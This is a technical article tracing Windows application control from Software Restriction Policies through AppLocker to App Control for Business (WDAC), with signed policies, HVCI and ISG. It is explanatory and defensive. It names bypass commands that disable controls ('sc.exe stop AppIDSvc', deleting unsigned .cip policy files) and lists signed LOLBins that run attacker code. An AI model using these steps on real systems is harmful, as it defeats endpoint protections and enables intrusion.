The 1999-2001 macro-virus and worm era -- ILOVEYOU [@cert-ca-2000-04-iloveyou], Code Red [@cert-ca-2001-19-codered], Nimda [@cert-ca-2001-26-nimda] -- made it unsurvivable for Windows to trust any binary the user had Execute permission on. The default behaviour of a Windows desktop in that era was: if the bits are on disk and the user can read them, they run. There was no per-binary policy gate. The OS-level answer Microsoft shipped in October 2001 was Software Restriction Policies, an XP RTM feature documented at length the following year by John Lambert at Virus Bulletin 2002 [@vb2002-srp].

The user-mode Windows API (`WinSafer*`) that SRP used to evaluate a candidate executable against the configured rule set. The SAFER evaluator returned one of three security levels -- `Disallowed`, `Basic User`, or `Unrestricted` -- on each `CreateProcess`. The decision lived entirely in user mode, in the same address space as the loader, which is the architectural defect AppLocker partially inherited and App Control later corrected.

SRP supported five rule conditions [@ms-applocker-what-is]: hash, certificate, path, Internet zone, and registry path. Each condition tested a candidate file against an administrator-authored allow or deny rule, returning a SAFER security level that the user-mode evaluator honoured at CreateProcess. The model was right: a per-machine GPO-administered policy evaluated against a defined file taxonomy.

The Microsoft code-signing format that binds a publisher identity (an X.509 certificate chain) to a PE binary via a cryptographic signature embedded in the binary's optional header. Authenticode is the *plumbing* every Windows application-control system uses to answer the question "who published this binary?" -- but it cannot answer "what will this binary do once it runs?". Authenticode mechanics are out of scope here; the companion Authenticode article covers them in full.

But SRP's management surface was a series of footguns. There were no per-user rules. There was no audit-only mode -- you authored a rule and immediately enforced it. There was no PowerShell module; configuration was an MMC snap-in click path. And the Internet-Zone rule was structurally narrow: it applied only to Windows Installer (.msi) packages and keyed off the source zone Windows Installer computed at install time, so it never covered the .exe and script payloads that mattered most.The Zone.Identifier ADS is also silently stripped by FAT and exFAT copies, by many archive formats during extraction, and by any process that rewrites the file. SRP's zone rule was therefore reliable only against the most casual download paths -- exactly the threat model SRP claimed to address. The structural reason AppLocker dropped Internet Zone as a rule condition in 2009 starts here.

SRP is genealogy, not subject matter, for the rest of this article. Microsoft never formally deprecated it, but practitioners abandoned it within a year of AppLocker's 2009 release, and Microsoft Learn now points anyone arriving at the SRP page toward AppLocker or App Control. The three operational defects -- no per-user, no audit, no PowerShell -- sketch the brief that the AppLocker team would inherit. What did Microsoft actually ship in 2009, and where did its designers draw the line between manageability and security?

flowchart TD SRP["2001 -- Software Restriction Policies
(Windows XP RTM)
user-mode SAFER API"] AL["2009 -- AppLocker
(Windows 7 / Server 2008 R2)
user-mode AppIDSvc + AppID.sys minifilter"] CCI["2015 -- Configurable Code Integrity
(Windows 10 1507, under Device Guard umbrella)
kernel ci.dll"] WDAC["2017 -- Windows Defender Application Control
(Windows 10 1709)
same kernel ci.dll, new brand"] ACfB["2024 -- App Control for Business
(Windows 11 24H2 / Server 2025)
same kernel ci.dll, third brand"] Now["2026 -- both AppLocker and App Control for Business ship in the same SKU"] SRP -- effectively orphaned --> AL AL -- peer mechanism added, not replaced --> CCI CCI -- renamed --> WDAC WDAC -- renamed --> ACfB AL -- still ships --> Now ACfB -- still ships --> Now

3. AppLocker (2009) -- The Architecture Microsoft Documents

October 22, 2009. AppLocker ships in Windows 7 Enterprise / Ultimate and in Windows Server 2008 R2 [@ms-lifecycle-windows7] [@ms-lifecycle-server-2008-r2]. What did Microsoft actually build, exactly as Microsoft Learn documents it?

Five rule collections [@ms-applocker-rules]:

Executable -- .exe, .com
DLL -- .dll, .ocx (off by default; opt-in for performance reasons)
Script -- .ps1, .vbs, .js, .bat, .cmd
Windows Installer -- .msi, .msp, .mst
Packaged App -- .appx, .msix

The script collection's inclusion of .bat and .cmd is a coverage detail that survives into 2026 as one of the few capabilities AppLocker has and App Control does not [@ms-appcontrol-feature-availability]. Hold that thought; it returns in section 10.

Three rule conditions:

Publisher -- the Authenticode subject name, product name, file name, and minimum file version. The load-bearing usability win over SRP: a single Publisher rule for "binaries signed by Microsoft Corporation with product Office, version 16.0 or higher" survives every patch the vendor ships.
Path -- with environment-variable and wildcard support (%ProgramFiles%\Contoso\*.exe).
File Hash -- the SHA-256 of the binary. Stable but brittle; one update breaks the rule.

An AppLocker (or App Control) rule that allows or denies execution based on the Authenticode signer subject, the file's signed metadata (Original Filename, Product Name), and an optional minimum version. The publisher gate trusts the certificate authority's binding of signer name to private key; it does not evaluate what the signed code will do at runtime. The structural limit of any publisher-gate allowlist is that signed code can be made to load and execute attacker-controlled data -- this is what the Microsoft Recommended Block Rules in section 8 enumerate.

AppLocker also added the three management capabilities SRP lacked: per-user / per-group rule assignment via the AppLocker PowerShell module (Get-AppLockerPolicy, Set-AppLockerPolicy, Test-AppLockerPolicy, New-AppLockerPolicy), audit-only mode that logs would-be denials without enforcing them, and a real GPO editor experience under Security Settings. The per-user capability is still, in 2026, the operational reason AppLocker has not gone away [@ms-appcontrol-feature-availability]; we will return to that in section 11.

The architecture is the part most readers underestimate. AppLocker is a kernel-mode minifilter that asks a user-mode service for the verdict. Microsoft's AppLocker Architecture and Components page documents the user-mode side at the service-and-callback level [@ms-applocker-architecture]: the policy decision is deferred to the user-mode Application Identity service (AppIDSvc) running as LocalService, which evaluates policy via SeAccessCheckWithSecurityAttributes or AuthzAccessCheck against the calling user's group memberships, with interception points at process create, DLL load, and script run. The kernel-side component is the AppId.sys minifilter shipped in %SystemRoot%\System32\drivers\; it issues the callbacks at process creation, optional DLL load, script-host invocation, MSI execution, and packaged-app activation, and the kernel honours the verdict the service returns.

The Windows service that evaluates AppLocker rules. Runs as `LocalService` under a service host process. The kernel minifilter `AppID.sys` collects the candidate file's metadata at the relevant lifecycle hook (process create, image load, script host start) and waits for `AppIDSvc` to return an access decision derived from the active AppLocker policy and the calling user's token. Stopping `AppIDSvc` stops AppLocker enforcement -- this is the architectural fact the next section turns on. sequenceDiagram participant U as User participant K as Kernel (CreateProcess) participant Min as AppID.sys minifilter participant Svc as AppIDSvc (user mode) participant Pol as Active AppLocker policy U->>K: CreateProcess foo.exe K->>Min: process-create callback Min->>Svc: query verdict for foo.exe and caller token Svc->>Pol: AuthzAccessCheck against publisher / path / hash rules Pol-->>Svc: allow or deny Svc-->>Min: verdict Min-->>K: honour verdict K-->>U: process starts or STATUS_ACCESS_DENIED

The five-by-three matrix below is the policy surface a practitioner authors against:

Collection / Condition	Publisher	Path	File Hash
Executable (`.exe`, `.com`)	yes	yes	yes
DLL (`.dll`, `.ocx`)	yes	yes	yes
Script (`.ps1`, `.vbs`, `.js`, `.bat`, `.cmd`)	yes	yes	yes
Windows Installer (`.msi`, `.msp`, `.mst`)	yes	yes	yes
Packaged App (`.appx`, `.msix`)	yes (publisher only)	no	no

The DLL collection is off by default for a reason Microsoft Learn warns about plainly [@ms-applocker-rules]: "When DLL rules are used, AppLocker must check each DLL that an application loads. Therefore, users may experience a reduction in performance if DLL rules are used." That cost is paid for every load of every DLL by every running process; on a workstation that loads thousands of DLLs at boot it is observable in startup time. The Packaged App collection is publisher-only because the Universal Windows Platform packaging format always carries an Authenticode signature.

Note: The most common misattribution in the AppLocker literature is the conflation of AaronLocker with the AppLocker bypass corpus. AaronLocker [@github-aaronlocker] is Aaron Margosis's deployment tool -- a PowerShell-based generator that authors thorough audit and enforce policies. The canonical AppLocker bypass catalogue is Oddvar Moe's UltimateAppLockerByPassList [@github-ultimateapplockerbypass]. The canonical App Control bypass catalogue is Jimmy Bayne's UltimateWDACBypassList [@github-ultimatewdacbypass]. Three different artefacts, three different authors, three different purposes.

AppLocker's design is admirable. It fixed every operational defect of SRP, it shipped per-user rules a decade before App Control's kernel evaluator caught up, and its PowerShell module is still the most ergonomic Windows application-control authoring surface in 2026. But notice one thing about that sequence diagram: the policy decision lives in a user-mode service. What happens to enforcement if the attacker is running as SYSTEM?

4. AppLocker's Structural Limit -- Why It Was Never a Security Boundary

A single PowerShell line. sc.exe stop AppIDSvc from a LocalSystem context -- the canonical first-step bypass catalogued in UltimateAppLockerByPassList [@github-ultimateapplockerbypass] and reproduced in Oddvar Moe's December 2017 case study [@oddvarmoe-applocker-case-study; @oddvarmoe-applocker-case-study-part2]. Enforcement degrades until the next reboot. Is that a bug?

It is not. It is the design. And three converging pieces of evidence -- Microsoft's own words, the documented architecture, and the public bypass record -- agree on the scope.

1. Microsoft's own servicing-criteria language. The App Control and AppLocker Overview page says, verbatim [@ms-appcontrol-applocker-overview]: "AppLocker helps to prevent end-users from running unapproved software on their computers, but it doesn't meet the servicing criteria for being a security feature." The MSRC Windows Security Servicing Criteria document [@msrc-servicing-criteria] is the rule the MSRC uses to decide whether a defect in a Windows feature qualifies for a CVE. Defects in a security boundary receive CVEs and a coordinated patch. Defects in a defense-in-depth feature may not -- they are documented and, when convenient, fixed, but Microsoft does not promise that every bypass will be treated as a vulnerability. AppLocker is the second category. App Control, when configured to qualify, is the first.

2. The user-mode AppIDSvc architecture is the proximate reason. Restate the section-3 diagram: the kernel minifilter AppID.sys collects the file metadata, but the verdict is returned by AppIDSvc running in user mode as LocalService. Any process running as LocalSystem or with administrator privilege can stop AppIDSvc. Stopping the service does not just bypass a rule; it removes the evaluator that the kernel was waiting for. The Microsoft Learn architecture page describes the evaluation surface explicitly [@ms-applocker-architecture]: "AppLocker policies are conditional access control entries (ACEs), and policies are evaluated by using the attribute-based access control SeAccessCheckWithSecurityAttributes or AuthzAccessCheck functions." AuthzAccessCheck is a user-mode Authz API; the evaluation chain ends in a process that an admin can stop.

The MSRC servicing criteria classify Windows features into *security boundaries* (a violation produces a CVE, fixes are released on Patch Tuesday or out-of-band), *security features* designed against a defined threat model (violations may or may not get CVEs depending on the threat model), and *defense-in-depth* measures (no servicing commitment beyond best effort). AppLocker is explicitly placed in the third class on the *App Control and AppLocker Overview* page [@ms-appcontrol-applocker-overview]. App Control with a signed policy and HVCI on is treated as a security feature whose threat model includes an admin-equivalent attacker -- and that is the precise condition under which an App Control bypass is treated as a CVE-class defect.

3. The published bypass corpora. Oddvar Moe's UltimateAppLockerByPassList [@github-ultimateapplockerbypass] catalogues rundll32.exe, regsvr32.exe, mshta.exe, installutil.exe, msbuild.exe, and a long list of others, each documented to bypass the default AppLocker rule set without administrator privileges. Moe's December 2017 case study [@oddvarmoe-applocker-case-study] paired a defined test environment (Windows 10 1703 Enterprise with the default AppLocker rules applied and no third-party software) against a defined adversary capability (an unprivileged interactive user) and demonstrated fourteen distinct bypass techniques. That made "AppLocker is bypassable in practice without admin" an empirical claim, not a theoretical one.

And -- this is the part that closes the argument -- the Microsoft-org-hosted AaronLocker README [@github-aaronlocker] states the same scope plainly: "AaronLocker does not try to stop administrative users from running anything they want -- and application control solutions cannot meaningfully restrict administrative actions anyway. A determined user with administrative rights can bypass any application control solution." The bypass community and the Microsoft-employee-maintained deployment baseline agree.

This is the article's first reorientation. The convergence of the Microsoft servicing-criteria language, the kernel-defers-to-user-mode architecture, and the published bypass record is not three independent observations; it is one observation viewed from three angles. AppLocker is a hygiene control. The bypassability against an admin-equivalent attacker is a scope statement, not a defect. The misconception that AppLocker was ever supposed to defend against an attacker with SYSTEM lives in the reader, not in the product.

The three pieces of evidence, tabulated:

Evidence	Source	What it establishes
MSRC servicing-criteria language	Microsoft Learn App Control and AppLocker Overview [@ms-appcontrol-applocker-overview]	AppLocker is not a security feature under MSRC criteria
User-mode `AppIDSvc` architecture	Microsoft Learn AppLocker Architecture and Components [@ms-applocker-architecture]	A `LocalSystem` or admin attacker can stop the evaluator
Public bypass corpora	Oddvar Moe `UltimateAppLockerByPassList` [@github-ultimateapplockerbypass]; Moe 2017 case study [@oddvarmoe-applocker-case-study]	Demonstrated bypasses without admin against default rules
Microsoft-org-hosted deployment baseline	AaronLocker README, Aaron Margosis [@github-aaronlocker]	Microsoft-employee-maintained tool states the scope identically

{` // Pseudocode walk of what happens when an admin or LocalSystem process // stops AppIDSvc. The actual demonstration requires admin on a Windows // host; this is the logic the kernel minifilter follows.

function onProcessCreate(candidateExe, callerToken) { const svc = queryService('AppIDSvc'); if (svc.state !== 'Running') { // No evaluator. The minifilter cannot block on the verdict // because the verdict source is gone. Enforcement degrades. return ALLOW; } const verdict = svc.evaluate(candidateExe, callerToken); return verdict; // honoured by the kernel as ALLOW or DENY }

// After: sc.exe stop AppIDSvc (requires admin / SYSTEM) // queryService('AppIDSvc').state === 'Stopped' // onProcessCreate(...) returns ALLOW for every candidate // until AppIDSvc restarts (typically next reboot) `}

Note: AppLocker prevents non-admin end users from running unapproved software. That is the entire mission statement, and Microsoft says it directly. It is not a weakness of AppLocker that an attacker with administrative rights can bypass it; that is outside the threat model the product was designed against. The right question to ask of AppLocker is not "is it secure?" but "is the threat model it addresses the threat model I need to address?"

If AppLocker cannot defend against an admin-equivalent attacker by design, and that became obvious inside Microsoft by the early 2010s, the question is no longer "why is AppLocker not enough?" It is: what would a Windows application-control system designed against an admin-equivalent attacker actually look like? Microsoft answered that question with Windows 10.

5. The Generational Pivot -- Configurable Code Integrity, WDAC, App Control for Business

With Windows 10, Microsoft introduces Device Guard. The framing in the official October 2017 retrospective is unusually candid for a Microsoft product communication: "With Windows 10 we introduced Windows Defender Device Guard" -- and the new mechanism's value proposition, the retrospective explains, is that its enforcement does not depend on a user-mode service an administrator can turn off [@ms-blog-introducing-wdac-2017]. Where AppLocker's AppIDSvc evaluator can be stopped from a LocalSystem shell, the new mechanism's evaluator lives in the kernel and validates its policy file cryptographically. Microsoft was not hiding what changed. Microsoft was announcing what changed.

The 2014-2015 threat-model shift inside Microsoft is well documented in retrospect [@ms-blog-introducing-wdac-2017]. Post-Pass-the-Hash, post-APT, the working assumption was that the adversary reaches administrator quickly -- and that any control whose enforcement could be turned off by an administrator was therefore not, in itself, a defense against the modern adversary. AppLocker could not be retrofitted to defend against that model because its evaluator lives in user mode by design. The fix was structural: build a peer mechanism in the kernel Code Integrity component.

The Windows kernel component that enforces signature and policy checks on every image loaded into memory. The same `ci.dll` enforces driver signing (KMCS) and Driver Signature Enforcement (DSE); the App Control for Business policy is a peer of the driver signing policy, evaluated by the same kernel code at the same hook points. There is no service to stop because there is no service -- the evaluator runs in the kernel itself. The umbrella brand Microsoft used in 2015-2017 for a bundle of hardware-rooted security features that included HVCI and Configurable Code Integrity. The brand was retired because customers consistently believed the bundle required hardware that, in fact, only HVCI required. The configurable CI policy that was the application-control half of Device Guard is what Microsoft now calls App Control for Business [@ms-blog-introducing-wdac-2017]. The configuration in which the kernel CI evaluator runs inside a Virtualization-Based Security (VBS) enclave at Virtual Trust Level 1 (VTL1), separated from the normal kernel at VTL0 by the Windows hypervisor. The marketing name in Windows 11 Settings is *memory integrity* [@ms-hvci] [@ms-support-memory-integrity]. The companion HVCI article in this pipeline covers the mechanism in depth; for this article the relevant fact is that with HVCI on, even a kernel-mode attacker in VTL0 cannot tamper with the code-integrity decision.

The connecting insight that made the architecture work: do not fix AppLocker. Build a peer mechanism in ci.dll, the same component that already enforces driver signing, and make the new application-control policy a peer of the driver-signing policy. The decision lives in the kernel. The policy file lives on disk under %SystemRoot%\System32\CodeIntegrity\CiPolicies\Active\. There is no user-mode service to stop.

The three-era naming timeline is the question every practitioner asks first about this product, so it is worth laying out cleanly:

Era	Name	Released	Source
Launch	Configurable Code Integrity, under the Device Guard umbrella	Windows 10 1507, July 29 2015	[@ms-blog-introducing-wdac-2017]
Rename 1	Windows Defender Application Control (WDAC)	Windows 10 1709 (Fall Creators Update GA October 17, 2017; WDAC rename announced October 23, 2017)	[@ms-blog-introducing-wdac-2017]
Rename 2	App Control for Business	Windows 11 24H2 / Server 2025, autumn 2024 [@ms-lifecycle-win11-enterprise] [@ms-lifecycle-server-2025]	[@ms-appcontrol-applocker-overview] [@github-wdac-toolkit-issue-411]

Microsoft's October 2017 retrospective is the cleanest explanation of the first rename [@ms-blog-introducing-wdac-2017]: the Device Guard umbrella *"unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately"* -- which Configurable CI and HVCI never were. The rename to WDAC was brand management, not a technology change. The 2024 rename to App Control for Business [@ms-appcontrol-applocker-overview] is similarly a rebrand; Microsoft Learn states *"App Control for Business was originally released as part of Device Guard and called configurable code integrity. The terms 'Device Guard' and 'configurable code integrity' are no longer used with App Control except when deploying policies through Group Policy."* The same kernel code path has worn three names in nine years.

The naming convention this article uses: lead with "App Control for Business (still widely called WDAC)" on first mention, then use the names interchangeably. The community search term "WDAC" stays in the title and tags because most practitioner content still uses it.

flowchart TD Kernel["Kernel CI evaluator (ci.dll)
peer of driver signing / DSE / KMCS
unchanged 2015 -- 2026"] Brand1["Configurable Code Integrity
under Device Guard umbrella
(Windows 10 1507, 2015)"] Brand2["Windows Defender Application Control (WDAC)
(Windows 10 1709, 2017)"] Brand3["App Control for Business
(Windows 11 24H2 / Server 2025, 2024)"] Brand1 --> Kernel Brand2 --> Kernel Brand3 --> Kernel

Note: In 2026, "WDAC" remains the more discoverable community-search term for the kernel CI policy mechanism. Microsoft Learn redirects from the old windows-defender-application-control/ URL path to the new app-control-for-business/ path, but third-party blogs, conference talks, and the bypass corpora all still use "WDAC". If you are searching, use both terms.

A peer mechanism in the kernel CI component is a deliberate, specific architectural choice. What does App Control for Business actually check at policy-evaluation time, and what makes its policy itself tamper-resistant against a SYSTEM-equivalent attacker?

6. The Mechanism in Detail -- How App Control for Business Actually Enforces

A LoadImage callback enters the kernel. Where does the policy decision happen, who reads the policy file, and what stops the attacker from just deleting or replacing the policy file?

Where it runs. Inside ci.dll, loaded by the Windows kernel. The same component that enforces driver signing / DSE / KMCS [@ms-hvci]. The callback path is the documented kernel API surface: PsSetLoadImageNotifyRoutine [@ms-pssetloadimagenotifyroutine] registers the image-load callback, and PsLookupProcessByProcessId [@ms-pslookupprocessbyprocessid] resolves the loading PID to an EPROCESS so the evaluator can attribute the load to the right process. A user-mode sc.exe stop has no effect because there is no service to stop. The evaluator is the kernel.

What it evaluates. For each candidate image, ci.dll checks:

The file's Authenticode signature -- signer subject, EKU (Extended Key Usage), leaf certificate attributes.
The file's signed metadata -- Original Filename, version, product name (analogous to AppLocker's Publisher rule).
SHA-1, SHA-256, and page hashes of the file content.
The file's path, introduced in Windows 10 1903, with a mandatory runtime user-writeability check that distinguishes App Control path rules from AppLocker's [@github-aaronlocker-script]. An App Control path rule that resolves to a directory writable by a non-administrator is rejected at evaluation time.
The file's Managed Installer lineage -- whether the file was written by a process tagged as a managed installer [@ms-appcontrol-managed-installer].
The file's ISG reputation -- covered in section 7 [@ms-appcontrol-isg].

The XML / binary `.cip` policy file that `ci.dll` consults at every image-load callback. Authored in XML via the `New-CIPolicy` and `Merge-CIPolicy` cmdlets (the `ConfigCI` PowerShell module) and compiled to a binary `.cip` via `ConvertFrom-CIPolicy`. The kernel reads the active policies from `%SystemRoot%\System32\CodeIntegrity\CiPolicies\Active\*.cip` at boot and on policy refresh. A trust-propagation feature in App Control. An administrator designates a process (typically a configuration-management agent such as Configuration Manager, Intune, or a third-party tool such as Patch My PC) as a *managed installer*. Any file written by that process is automatically tagged with an Extended Attribute marking it as installed by trusted infrastructure. App Control policy can then allow files bearing the tag. The Managed Installer rule collection is implemented as an AppLocker rule set [@ms-appcontrol-managed-installer], which is the most-cited example of AppLocker enforcement plumbing being reused by App Control rather than replaced.

Policy file format. XML in, binary in the kernel. The cmdlet sequence:

New-CIPolicy   -> Merge-CIPolicy -> ConvertFrom-CIPolicy -> .cip file -> drop into Active/ -> reboot or refresh

The PowerShell module that exposes these cmdlets is still partly named after the WDAC era. ConvertFrom-CIPolicy, Set-CIPolicySetting, Set-CIPolicyVersion, Add-SignerRule, and the rest all retain the CIPolicy / ConfigCI naming through the 2024 rebrand. Microsoft has not renamed the cmdlets to App Control for Business. The App Control Wizard [@ms-appcontrol-wizard] is an open-source MSIX-packaged C# tool that uses these same cmdlets under the hood.

Signed vs unsigned policies -- the load-bearing distinction. This is the single most common practitioner confusion in App Control deployments, and it is worth several paragraphs of care.

An unsigned App Control policy is fully supported and widely deployed. The policy XML is authored, compiled, and dropped into the active-policies directory. The kernel reads it and enforces it. But the policy file itself has no cryptographic binding to the device. Any process with write access to %SystemRoot%\System32\CodeIntegrity\CiPolicies\Active\ -- which includes anything running as SYSTEM or administrator -- can simply del the .cip file and reboot. Enforcement vanishes. The defect is not in ci.dll; it is in the policy not being signed.

A signed App Control policy is signed by the deploying organisation's code-signing certificate -- not by the application publisher's certificate, which is the misconception most often imported from the AppLocker mental model. The deploying organisation typically uses an internal PKI leaf, the signing private key kept on a hardware token or in a sealed key vault. When the policy is signed, the kernel CI evaluator validates the signature against the trusted signer set baked into the policy at first application; a subsequent attempt to remove or replace the .cip file is rejected at boot because the unsigned (or alternately-signed) replacement does not match. Even SYSTEM cannot bypass this without the corresponding private key. This is the only configuration that survives an admin-equivalent attacker.

App Control policies are signed by the deploying organisation's code-signing certificate, *not* by the application publisher's. The signed policy is bound to the device such that even `SYSTEM` cannot remove or replace it without the organisation's signing key.

Dimension	Unsigned policy	Signed policy
Tamper-resistance against `SYSTEM` / admin	None -- the `.cip` file can be deleted	Strong -- removal requires the signing key
Deployment complexity	Low -- copy file and reboot	High -- requires PKI, signing infra, key custody
Signing PKI requirement	None	Internal code-signing CA leaf required
Removal mechanism	`del *.cip` + reboot	Sign and deploy a replace policy with the same key
Suitable as MSRC security boundary	No	Yes (with HVCI on)

HVCI integration. When Virtualization-Based Security is on, the kernel CI evaluator itself runs in VTL1 inside HVCI (memory integrity, in Windows 11 Settings) [@ms-hvci] [@ms-support-memory-integrity]. A kernel-mode attacker in VTL0 -- even one who has loaded an arbitrary kernel driver and corrupted kernel memory at will -- cannot tamper with the code-integrity evaluation path. The decision lives behind the hypervisor boundary.

Virtual Trust Levels exposed by the Windows hypervisor. VTL0 is the normal Windows kernel and user mode. VTL1 is the *secure kernel*, an isolated execution environment with restricted memory access and a tighter trust model. With HVCI enabled, the code-integrity evaluator runs in VTL1; a kernel-mode attacker confined to VTL0 cannot read or write VTL1 memory directly. Companion HVCI article in this pipeline covers the VTL model in depth. sequenceDiagram participant P as Loading process participant K as Kernel image loader participant CI as ci.dll (CI evaluator) participant Pol as Active .cip policies P->>K: load module foo.dll K->>CI: PsSetLoadImageNotifyRoutine callback CI->>CI: parse Authenticode + compute hashes + check path CI->>Pol: match against signer / hash / path / MI / ISG rules Pol-->>CI: allow or deny CI-->>K: honour verdict K-->>P: image loaded or STATUS_INVALID_IMAGE_HASH flowchart LR subgraph VTL0["VTL0 -- normal Windows kernel"] K0["NTOS kernel"] Drv["Loaded drivers"] Att["kernel-mode attacker"] end subgraph VTL1["VTL1 -- secure kernel"] SK["Secure kernel"] CIeval["ci.dll evaluator"] end Hyper["Windows Hypervisor (VBS)"] K0 -- regulated calls --> Hyper Hyper -- mediated entry --> SK SK --> CIeval Att -. blocked .- Hyper

Multi-policy support. From Windows 10 1903 (May 2019) the kernel supported up to 32 active App Control policies whose interactions follow two distinct rules: multiple base policies intersect (an app must be allowed by every base policy that applies), while a base policy and its supplemental policies union (an app is allowed if any of them allow it), and deny rules always win in either combination. The cap was lifted by the April 9, 2024 cumulative security updates: KB5036893 for Windows 11 22H2 and 23H2 (OS Builds 22621.3447 and 22631.3447) [@ms-kb-5036893], and KB5036892 for Windows 10 21H2 and 22H2 (OS Builds 19044.4291 and 19045.4291) [@ms-kb-5036892]. Microsoft's Deploy multiple App Control for Business policies page is explicit on the version scope [@ms-appcontrol-multi-policy]: "The policy limit was not removed on Windows 11 21H2 and will remain limited to 32 policies." No published Microsoft documentation gives the new ceiling on the platforms where the cap was lifted; the practical limit is policy parsing time at boot.

Note: This is the single most common practitioner misreading in App Control deployments. An unsigned App Control policy enforces against userland and against unprivileged users perfectly well -- but it does not qualify as a security boundary under the MSRC servicing criteria, because an admin or SYSTEM attacker can delete the policy file. The phrase "deploy WDAC" alone is ambiguous; the meaningful phrase is "deploy a signed WDAC policy with HVCI on and the Recommended Block Rules merged in".

Kernel evaluator, signed policy, HVCI-isolated evaluator, multi-policy merge. That is the security boundary Microsoft sells. But none of those facts tells you what signals the policy can act on -- and one of those signals (ISG) is the single most misunderstood piece of the App Control vocabulary.

7. ISG -- The Reputation Signal Everyone Calls a List

Open any practitioner thread about App Control in 2024-2026 and you will see the phrase "the ISG list of trusted apps." There is no such list. Microsoft has said so for years. The misconception is institutional.

The verbatim Microsoft Learn quote, from the Use App Control with the Intelligent Security Graph page [@ms-appcontrol-isg]:

The ISG isn't a "list" of apps. Rather, it uses the same vast security intelligence and machine learning analytics that power Microsoft Defender SmartScreen and Microsoft Defender Antivirus to help classify applications as having "known good," "known bad," or "unknown" reputation. This cloud-based AI is based on trillions of signals collected from Windows endpoints and other data sources, and processed every 24 hours.

The ISG isn't a 'list' of apps. -- Microsoft Learn, *Use App Control with the Intelligent Security Graph* [@ms-appcontrol-isg]

ISG is a reputation classifier. An App Control policy can be configured to treat ISG's "known good" verdict as an additive allow signal. ISG never blocks on App Control's behalf. The Microsoft Learn page is precise: "the ISG option only allows binaries that are known good. If a binary is unknown or known bad, it won't be allowed by the ISG" [@ms-appcontrol-isg]. The classifier sits underneath the policy's explicit rules; it does not override them.

A Microsoft cloud service that ingests telemetry from Defender SmartScreen, Defender Antivirus, and partner products and produces a reputation classification for individual binaries. The classifier returns one of *known good*, *known bad*, or *unknown*. App Control can be configured to treat *known good* as an additional allow path, in addition to the explicit signer / hash / path / Managed Installer rules in the policy. ISG never *blocks* on its own; *unknown* and *known bad* simply mean ISG does not vote allow [@ms-appcontrol-isg].

The mechanism. When ISG is enabled and a binary is classified known good, Windows tags the file with an Extended Attribute named $KERNEL.SMARTLOCKER.ORIGINCLAIM, so the CI evaluator can honour the verdict at subsequent image loads without a fresh cloud call. The cloud reputation model itself is processed every 24 hours [@ms-appcontrol-isg]; App Control's client-side requeries are documented only as periodic, without a fixed interval. The policy option Enabled:Invalidate EAs on Reboot discards the tags across reboot, forcing a re-evaluation.

The extended attribute \$KERNEL.SMARTLOCKER.ORIGINCLAIM is the same EA-tag mechanism the Managed Installer feature uses to propagate the "installed by trusted infrastructure" signal [@ms-appcontrol-managed-installer]. Two adjacent App Control features therefore share the same persistence layer -- one populated by a local trusted-process designation, the other populated by a cloud reputation classifier. The kernel evaluator does not care which source wrote the tag.

The misconception this section closes is that ISG is a list of curated allowed apps -- a corporate-managed allowlist administered by Microsoft. It is not. The original 00-input.md for this article framed ISG as "cloud-reputation-driven allow-listing", which is half-true in spirit and wrong in mechanism. ISG is reputation. The allowlist is what the App Control policy still has to author explicitly.

Note: The phrase Intelligent Trusted List and the acronym ITL surface periodically in AI summaries and in third-party blog posts that describe App Control features. No such Microsoft feature exists. A search of Microsoft Learn produces zero results; the URLs cited by AI summaries return 404; and the definitions offered by AI summaries contradict each other. The closest real Microsoft features are ISG (this section), the Microsoft Recommended Block Rules (section 8), and Smart App Control (section 9). If you see ITL in a security blog, treat it as a fabrication and ignore it.

ISG turns an App Control policy into a hybrid: explicit rules plus a reputation tap. But it is still an allowlist, and an allowlist has a structural ceiling. Microsoft itself published the consequence as a block list. Why?

8. The Bypass Reality -- Recommended Block Rules and the LOLBin Corpus

Microsoft's own Microsoft Learn page lists approximately forty Microsoft-signed binaries that can bypass an App Control allow rule on themselves. The page is called Applications that can bypass App Control and how to block them [@ms-appcontrol-bypass]. Why does Microsoft publish a list of its own bypassable signed binaries?

Because if your App Control policy says "allow Microsoft-signed code", then it admits each of those forty binaries -- and each one is a way to run attacker-supplied code while complying with the policy. The publisher gate cannot evaluate side effects.

A binary already present on the operating system, typically signed by the OS vendor, that an attacker can repurpose to perform actions a security control would otherwise block. The canonical Windows LOLBin classes are script interpreters bundled with the OS or runtime (`mshta.exe`, `wscript.exe`), build tools that compile and execute attacker-supplied source (`msbuild.exe`, `csi.exe`, `dotnet.exe`), debuggers that script their own target (`cdb.exe`, `windbg.exe`), and registration utilities that load arbitrary DLLs into a signed host (`regsvr32.exe`, `rundll32.exe`). The community-curated LOLBAS Project [@lolbas-project] catalogues hundreds.

The named-researcher chain that drove the Recommended Block Rules is a who-is-who of mid-2010s Windows offensive research:

cdb.exe -- Matt Graeber, August 2016, preserved in the Wayback Machine [@exploit-monday-cdb-wayback]. The Windows debugger ships signed by Microsoft and includes a scripting facility that runs arbitrary shellcode in memory. Graeber's blog post asked, in his own words, "what is a tool that's signed by Microsoft that will execute code, preferably in memory?" and answered "WinDbg/CDB of course!"
csi.exe -- Casey Smith, September 2016, preserved in the Wayback Machine [@subt0x10-csi-wayback]. The C# interactive compiler, distributed with Visual Studio, is signed by Microsoft and runs arbitrary C# fragments via Assembly.Load().
dnx.exe -- Matt Nelson, November 2016 [@enigma0x3-dnx-2016]. The early .NET Core host that loads and executes arbitrary .NET assemblies under a signed Microsoft binary.
addinprocess.exe / addinprocess32.exe -- James Forshaw, July 2017 [@tiraniddo-dg-2017]. The Visual Studio add-in host that can be coerced into loading an attacker DLL while the parent process satisfies the signed-publisher policy.
dotnet.exe -- Jimmy Bayne, August 2019 [@bohops-dotnet-awl]. The shipping .NET host with the same fundamental capability as dnx.exe but with a 2019-vintage attack surface and a live PoC against both AppLocker and WDAC.

The operational entries practitioners encounter most often are msbuild.exe (the C# / MSBuild compiler that can execute inline build tasks), mshta.exe (the HTML application host), wmic.exe (which can load XSL stylesheets that execute arbitrary script), wscript.exe (Windows Script Host), and bash.exe / wsl.exe (the WSL launchers, which provide an entirely separate execution environment outside the policy's reach).

Binary	Capability that enables the bypass	Original researcher	Source
`cdb.exe`	Debugger scripting facility executes shellcode in memory	Matt Graeber, Aug 2016	[@exploit-monday-cdb-wayback]
`csi.exe`	C# interactive compiler, `Assembly.Load()` over arbitrary C#	Casey Smith, Sep 2016	[@subt0x10-csi-wayback]
`dnx.exe`	Early .NET Core host, loads arbitrary assemblies	Matt Nelson, Nov 2016	[@enigma0x3-dnx-2016]
